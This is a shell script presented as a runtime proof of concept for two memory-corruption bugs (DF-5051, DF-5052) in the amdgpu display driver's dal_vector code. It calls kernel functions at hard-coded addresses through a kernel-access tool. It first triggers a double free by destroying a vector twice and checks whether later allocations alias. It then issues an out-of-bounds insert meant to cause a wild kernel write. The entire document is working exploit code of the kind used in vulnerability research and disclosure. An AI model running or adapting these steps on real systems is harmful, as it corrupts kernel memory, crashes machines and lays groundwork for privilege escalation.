#!/bin/sh
KV=/root/kv
CREATE=FFFFFFFF8271D070
DESTRUCT=FFFFFFFF8271D120
INSERT=FFFFFFFF8271D2B0
VERSION=FFFFFFFF81144960
KMALLOC=FFFFFFFF80656DC0
KFREE=FFFFFFFF80657E80
MTEMP=FFFFFFFF810D99C0
export KV_BCOPY=FFFFFFFF80BCA6A0

echo "### DF-5051/DF-5052 runtime PoC (dal_vector, amdgpu DC)"
kldstat | grep amdgpu
echo "### create(NULL,4,16):"
V=$($KV call $CREATE 0 4 10)
echo "vector=$V"
echo "vector fields {container,struct_size,count,capacity,ctx}:"
$KV kread $V 32

echo "### sanity insert_at(position=0),(1):"
$KV call $INSERT $V $VERSION 0 >/dev/null && echo "insert@0 ok"
$KV call $INSERT $V $VERSION 1 >/dev/null && echo "insert@1 ok"
$KV kread $V 32

echo "### DF-5052: dal_vector_destruct twice:"
CONTAINER=$($KV kread $V 8)
echo "container bytes: $CONTAINER"
$KV call $DESTRUCT $V >/dev/null && echo "destruct #1 ok"
$KV kread $V 32
$KV call $DESTRUCT $V >/dev/null && echo "destruct #2 ok (DOUBLE KFREE ACCEPTED)"
A=$($KV call $KMALLOC 40 $MTEMP 2)
B2=$($KV call $KMALLOC 40 $MTEMP 2)
echo "realloc A=$A B=$B2"
if [ "$A" = "$B2" ]; then echo ">>> DF-5052 CONFIRMED: double-free aliasing"; else echo ">>> allocs distinct"; fi

echo "### DF-5051: insert_at(position=0x0C000000) on fresh vector:"
V2=$($KV call $CREATE 0 4 10)
echo "vector2=$V2"
echo "issuing OOB insert (wild write at container+0xC0000000)..."
$KV call $INSERT $V2 $VERSION 0C000000
echo "SURVIVED (unexpected)"